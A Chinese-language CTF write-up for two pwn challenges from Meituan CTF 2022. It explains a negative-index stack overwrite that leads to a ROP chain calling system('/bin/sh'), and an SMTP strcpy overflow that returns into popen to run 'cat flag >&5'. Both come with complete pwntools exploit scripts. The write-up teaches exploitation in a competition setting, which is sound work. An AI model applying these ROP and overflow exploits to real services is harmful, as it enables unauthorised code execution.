美团CTF2022初赛pwn
note
编辑堆块内容时idx可输入负数,而堆块的控制结构是保存在栈上的,往地址找二级指针即可覆盖返回地址写rop了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * binary = "./pwn" elf = ELF(binary) libc = elf.libc ip = '39.106.27.2' port = 45124 local = 1 if local: io = process(binary) else: io = remote(ip, port)
def debug(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : io.interactive() _flags = 0xfbad1800
def menu(n): sla(b'5. leave', str(n))
def add(size, con = b'a'): menu(1) sla(b': ', str(size)) sa(b': ', con)
def edit(idx, con): menu(3) sla(b': ', str(idx)) sa(b': ', con)
pop_rdi = 0x4017b3 start = 0x401679
payload = b'a' * 8 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(start)
'''gdb.attach(io, 'b* 0x40157F') pause()''' edit(-6, payload) libcbase = uu64() - libc.sym['puts'] lg('libcbase')
sys_addr = libcbase + libc.sym['system'] sh = libcbase + libc.search(b'/bin/sh').__next__() ret = 0x40101a
payload = b'a' * 8 + p64(ret) + p64(pop_rdi) + p64(sh) + p64(sys_addr) edit(-6, payload) ia()
|
stmp
一道stmp协议题
漏洞在sender_worker
函数中
a1的长度大于0xff即可进行一次strcpy,经过调试可以发现a1为输入的RCPT TO:所拼接的字符串,这里是我们可控的,所以只要进入这里就可以进行栈溢出了
要进入这个函数也只需要在输入完data之后即可
接下来构造payload
1
| payload = b'a' * (0x10c + 4) + b'b' * 4
|
此时会发现函数返回地址虽然被覆盖了,但是程序提前crash了,而不是执行到我们的返回地址
跟进去调试
从这里可以知道ebp - 0xc的位置应该填充为一个可访问的地址
更新payload
1
| payload = b'a' * 0x100 + p32(0x8049024) + b'a' * 0xc + b'bbbb'
|
成功执行到返回地址
接下来就是尝试拿shell或者想办法输出flag了,这里构造rop getshell是不可能的,因为泄露的libc地址只会在服务端输出
我们利用popen函数 + 重定向来获得flag
popen函数可以执行任意命令,只需要构造payload让程序执行popen('cat flag >& 5', 'r')
即可获得flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * binary = "./pwn" elf = ELF(binary) ip = '127.0.0.1' port = 12345 local = 0 if local: io = process(binary) else: io = remote(ip, port)
def debug(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : io.interactive() _flags = 0xfbad1800
def hello(): sla(b'220 SMTP tsmtp', b'HELO')
def mailfrom(con): sla(b'250 Ok', b'MAIL FROM:' + con)
def RCPT(con): sla(b'250 Ok', b'RCPT TO:' + con)
def DATA(con): sla(b'250 Ok', b'DATA' + con)
def END(): sl(b'.\r\n')
hello() mailfrom(b'cat flag >&5') a = elf.search(b'r\x00').__next__() bss = 0x804D140 payload = b'a' * 0x100 + p32(0x8049024) + b'a' * 0xc + p32(elf.plt['popen']) + p32(0xdeadbeef) + p32(bss) + p32(a) RCPT(payload) DATA(b'bbbbb') END() ia()
|
成功获得flag